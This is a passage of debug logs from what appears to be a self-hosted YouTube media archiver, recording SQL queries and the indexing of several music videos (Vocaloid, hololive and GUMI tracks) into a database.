regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [34] 22:23:18.423 [debug] Current batch of media processed. Will check again in 1000ms 22:23:18.495 [debug] QUERY OK source="sources" db=430.3ms idle=111.8ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:23:18.498 [debug] QUERY OK source="sources" db=2.6ms queue=0.1ms idle=76.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:23:18.499 [debug] Replied in 435ms 22:23:19.424 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "僕だけ異常な訳じゃない。\n\n\nMusic:earmi\nX: https://x.com/earmi1095?s=11&t=jutdFpBrofGYQchweE7jig\n\nillustration:せかいせいは様\nX: https://x.com/sekaiseihasann?s=21&t=jutdFpBrofGYQchweE7jig\n\n\n\n#初音ミク #vocaloid #ボカロ", "duration" => 168, "filename" => "/downloads/Nightcore/Nightcore/2026-07-03⠀[zCISRUzhS-c].m4a", "id" => "zCISRUzhS-c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zCISRUzhS-c", "playlist_index" => 35, "timestamp" => 1783078206, "title" => "⠀", "upload_date" => "20260703"} 22:23:19.425 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:19.426 [debug] QUERY OK source="sources" db=0.4ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:19.426 [debug] QUERY OK source="media_items" db=0.4ms idle=931.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-03 11:30:06Z], 1] 22:23:19.649 [debug] QUERY OK source="media_items" db=221.1ms queue=0.3ms idle=928.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["僕だけ異常な訳じゃない。\n\n\nMusic:earmi\nX: https://x.com/earmi1095?s=11&t=jutdFpBrofGYQchweE7jig\n\nillustration:せかいせいは様\nX: https://x.com/sekaiseihasann?s=21&t=jutdFpBrofGYQchweE7jig\n\n\n\n#初音ミク #vocaloid #ボカロ", "⠀", "84ed31e6-d725-42d2-9631-9b4c5639f221", false, "zCISRUzhS-c", 168, false, "https://www.youtube.com/watch?v=zCISRUzhS-c", 35, "/downloads/Nightcore/Nightcore/2026-07-03⠀[zCISRUzhS-c].m4a", false, false, 1, [], 1, ~U[2026-07-03 11:30:06Z], ~U[2026-07-24 02:23:19Z], ~U[2026-07-24 02:23:19Z], "僕だけ異常な訳じゃない。\n\n\nMusic:earmi\nX: https://x.com/earmi1095?s=11&t=jutdFpBrofGYQchweE7jig\n\nillustration:せかいせいは様\nX: https://x.com/sekaiseihasann?s=21&t=jutdFpBrofGYQchweE7jig\n\n\n\n#初音ミク #vocaloid #ボカロ", "⠀", "zCISRUzhS-c", 168, false, "https://www.youtube.com/watch?v=zCISRUzhS-c", "/downloads/Nightcore/Nightcore/2026-07-03⠀[zCISRUzhS-c].m4a", false, 1, ~U[2026-07-03 11:30:06Z]] 22:23:19.650 [debug] QUERY OK source="sources" db=0.4ms idle=884.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:19.650 [debug] QUERY OK source="media_profiles" db=0.3ms idle=225.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:19.652 [debug] QUERY OK source="media_items" db=0.6ms idle=225.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [35] 22:23:19.652 [debug] Current batch of media processed. Will check again in 1000ms 22:23:20.653 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "our chains will bind you here forever 🐾⛓️ \n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\nOriginal Song: hololive English Advent\nVocals: FUWAMOCO\nMix: はまひろ\nArt: Hyde\nMovie: オムカ\nOriginal: https://www.youtube.com/watch?v=YDyrIDHAdDY\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n\n#holoAdvent\n#hololiveEnglish\n---------------------------------------------\nCorrection:\nThe lyric \"Locked away where nightmares keep you awake\" were mistakenly sung \"Locked away when nightmares keep you awake\". We apologize for the mistake!\n---------------------------------------------\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n#FUWAMOCO (配信)\n#FWMCpix (絵)\n#helpFWMC (リクエスト/素材/Q&A用)\n#lilFWMC (切り抜き)\n#FWMCbeats (音楽)\n#FWMCwww (ミーム)\n#FWMCMORNING (バラエティ番組)\n\n≪TWITTER≫\nhttps://twitter.com/fuwamoco_en\n@FUWAMOCOch\n\n≪(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)≫\n\n♡ RULES ♡\n\n・Be nice to other viewers and treat everyone with respect! Let’s make a loving community! ♡\n・All forms of hate, discrimination, harassment, and trolling are not permitted. \n・Don’t bring up other channels or streams unless they are mentioned by FUWAMOCO. \n・No spoilers please, but feel free to give advice when asked! \n・Please limit comments unrelated to FUWAMOCO or spam so that we can read your comments!\n・Chat prior to the start of the stream is fine as long as it’s related to the stream. \n・Most importantly, have fun!! We need your smile to protect! BAU BAU!! 🐾\n\n≪(∪・ω・∪三∪・ω・∪)≫\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n≪(∪・ω・∪三∪・ω・∪)≫\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n≪(∪・ω・∪三∪・ω・∪)≫\n[Official Online Shop]\nhttps://shop.hololivepro.com/en\n[Holoschedule] (Check all members streaming schedules)\nhttps://schedule.hololive.tv/#hololive\n≪(∪・ω・∪三∪・ω・∪)≫\n[Hololive Production]\n・Hololive English YouTube Channel: https://t.co/LcYDgFF9V0?amp=1\n・Hololive Production Official Twitter: https://twitter.com/hololivetv\n・Hololive English Official Twitter: https://twitter.com/hololive_En\n・Hololive English Official Reddit: https://www.reddit.com/r/Hololive/", "duration" => 176, "filename" => "/downloads/Nightcore/Nightcore/2025-10-31【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】[pR8SM92aC0U].m4a", "id" => "pR8SM92aC0U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=pR8SM92aC0U", "playlist_index" => 36, "timestamp" => 1761887707, "title" => "【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】", "upload_date" => "20251031"} 22:23:20.654 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:20.655 [debug] QUERY OK source="sources" db=0.4ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:20.656 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1005.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-31 05:15:07Z], 1] 22:23:20.900 [debug] QUERY OK source="media_items" db=243.1ms idle=1005.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["our chains will bind you here forever 🐾⛓️ \n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\nOriginal Song: hololive English Advent\nVocals: FUWAMOCO\nMix: はまひろ\nArt: Hyde\nMovie: オムカ\nOriginal: https://www.youtube.com/watch?v=YDyrIDHAdDY\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n\n#holoAdvent\n#hololiveEnglish\n---------------------------------------------\nCorrection:\nThe lyric \"Locked away where nightmares keep you awake\" were mistakenly sung \"Locked away when nightmares keep you awake\". We apologize for the mistake!\n---------------------------------------------\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n#FUWAMOCO (配信)\n#FWMCpix (絵)\n#helpFWMC (リクエスト/素材/Q&A用)\n#lilFWMC (切り抜き)\n#FWMCbeats (音楽)\n#FWMCwww (ミーム)\n#FWMCMORNING (バラエティ番組)\n\n≪TWITTER≫\nhttps://twitter.com/fuwamoco_en\n@FUWAMOCOch\n\n≪(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)≫\n\n♡ RULES ♡\n\n・Be nice to other viewers and treat everyone with respect! Let’s make a loving community! ♡\n・All forms of hate, discrimination, harassment, and trolling are not permitted. \n・Don’t bring up other channels or streams unless they are mentioned by FUWAMOCO. \n・No spoilers please, but feel free to give advice when asked! \n・Please limit comments unrelated to FUWAMOCO or spam so that we can read your comments!\n・Chat prior to the start of the stream is fine as long as it’s related to the stream. \n・Most importantly, have fun!! We need your smile to protect! BAU BAU!! 🐾\n\n≪(∪・ω・∪三∪・ω・∪)≫\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n≪(∪・ω・∪三∪・ω・∪)≫\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n≪(∪・ω・∪三∪・ω・∪)≫\n[Official Online Shop]\nhttps://shop.hololivepro.com/en\n[Holoschedule] (Check all members streaming schedules)\nhttps://schedule.hololive.tv/#hololive\n≪(∪・ω・∪三∪・ω・∪)≫\n[Hololive Production]\n・Hololive English YouTube Channel: https://t.co/LcYDgFF9V0?amp=1\n・Hololive Production Official Twitter: https://twitter.com/hololivetv\n・Hololive English Official Twitter: https://twitter.com/hololive_En\n・Hololive English Official Reddit: https://www.reddit.com/r/Hololive/", "【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】", "eb7fdbbe-c323-4339-9959-699f46934b65", false, "pR8SM92aC0U", 176, false, "https://www.youtube.com/watch?v=pR8SM92aC0U", 36, "/downloads/Nightcore/Nightcore/2025-10-31【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】[pR8SM92aC0U].m4a", false, false, 1, [], 1, ~U[2025-10-31 05:15:07Z], ~U[2026-07-24 02:23:20Z], ~U[2026-07-24 02:23:20Z], "our chains will bind you here forever 🐾⛓️ \n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\nOriginal Song: hololive English Advent\nVocals: FUWAMOCO\nMix: はまひろ\nArt: Hyde\nMovie: オムカ\nOriginal: https://www.youtube.com/watch?v=YDyrIDHAdDY\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n\n#holoAdvent\n#hololiveEnglish\n---------------------------------------------\nCorrection:\nThe lyric \"Locked away where nightmares keep you awake\" were mistakenly sung \"Locked away when nightmares keep you awake\". We apologize for the mistake!\n---------------------------------------------\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n#FUWAMOCO (配信)\n#FWMCpix (絵)\n#helpFWMC (リクエスト/素材/Q&A用)\n#lilFWMC (切り抜き)\n#FWMCbeats (音楽)\n#FWMCwww (ミーム)\n#FWMCMORNING (バラエティ番組)\n\n≪TWITTER≫\nhttps://twitter.com/fuwamoco_en\n@FUWAMOCOch\n\n≪(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)≫\n\n♡ RULES ♡\n\n・Be nice to other viewers and treat everyone with respect! Let’s make a loving community! ♡\n・All forms of hate, discrimination, harassment, and trolling are not permitted. \n・Don’t bring up other channels or streams unless they are mentioned by FUWAMOCO. \n・No spoilers please, but feel free to give advice when asked! \n・Please limit comments unrelated to FUWAMOCO or spam so that we can read your comments!\n・Chat prior to the start of the stream is fine as long as it’s related to the stream. \n・Most importantly, have fun!! We need your smile to protect! BAU BAU!! 🐾\n\n≪(∪・ω・∪三∪・ω・∪)≫\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n≪(∪・ω・∪三∪・ω・∪)≫\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n≪(∪・ω・∪三∪・ω・∪)≫\n[Official Online Shop]\nhttps://shop.hololivepro.com/en\n[Holoschedule] (Check all members streaming schedules)\nhttps://schedule.hololive.tv/#hololive\n≪(∪・ω・∪三∪・ω・∪)≫\n[Hololive Production]\n・Hololive English YouTube Channel: https://t.co/LcYDgFF9V0?amp=1\n・Hololive Production Official Twitter: https://twitter.com/hololivetv\n・Hololive English Official Twitter: https://twitter.com/hololive_En\n・Hololive English Official Reddit: https://www.reddit.com/r/Hololive/", "【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】", "pR8SM92aC0U", 176, false, "https://www.youtube.com/watch?v=pR8SM92aC0U", "/downloads/Nightcore/Nightcore/2025-10-31【MV】Prisoner/hololive English Advent (Self-Cover)【FUWAMOCO】[pR8SM92aC0U].m4a", false, 1, ~U[2025-10-31 05:15:07Z]] 22:23:20.901 [debug] QUERY OK source="sources" db=0.3ms idle=246.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:20.901 [debug] QUERY OK source="media_profiles" db=0.1ms idle=245.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:20.902 [debug] QUERY OK source="media_items" db=0.3ms idle=245.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [36] 22:23:20.902 [debug] Current batch of media processed. Will check again in 1000ms 22:23:21.902 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#synthv #vocaloid #gumi\n\nWhere do queens go when everything is lost?\n\nThis is my first ever GUMI only song \\m/\n\nArrangement, Tuning and Video: kusabi\nArt: Nerukyuun\n\nTrack from the GUMANIA Rock and Metal album to release on 6.26.26!", "duration" => 246, "filename" => "/downloads/Nightcore/Nightcore/2026-05-22'DESCENT INTO MANIA' ⧸ GUMI SV2[dwPvXW-uSIs].m4a", "id" => "dwPvXW-uSIs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=dwPvXW-uSIs", "playlist_index" => 37, "timestamp" => 1779415206, "title" => "'DESCENT INTO MANIA' / GUMI SV2", "upload_date" => "20260522"} 22:23:21.903 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:21.903 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:21.904 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 02:00:06Z], 1] 22:23:22.127 [debug] QUERY OK source="media_items" db=222.2ms idle=1002.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#synthv #vocaloid #gumi\n\nWhere do queens go when everything is lost?\n\nThis is my first ever GUMI only song \\m/\n\nArrangement, Tuning and Video: kusabi\nArt: Nerukyuun\n\nTrack from the GUMANIA Rock and Metal album to release on 6.26.26!", "'DESCENT INTO MANIA' / GUMI SV2", "86ea5c94-926c-467b-9310-4301b212e098", false, "dwPvXW-uSIs", 246, false, "https://www.youtube.com/watch?v=dwPvXW-uSIs", 37, "/downloads/Nightcore/Nightcore/2026-05-22'DESCENT INTO MANIA' ⧸ GUMI SV2[dwPvXW-uSIs].m4a", false, false, 1, [], 2, ~U[2026-05-22 02:00:06Z], ~U[2026-07-24 02:23:21Z], ~U[2026-07-24 02:23:21Z], "#synthv #vocaloid #gumi\n\nWhere do queens go when everything is lost?\n\nThis is my first ever GUMI only song \\m/\n\nArrangement, Tuning and Video: kusabi\nArt: Nerukyuun\n\nTrack from the GUMANIA Rock and Metal album to release on 6.26.26!", "'DESCENT INTO MANIA' / GUMI SV2", "dwPvXW-uSIs", 246, false, 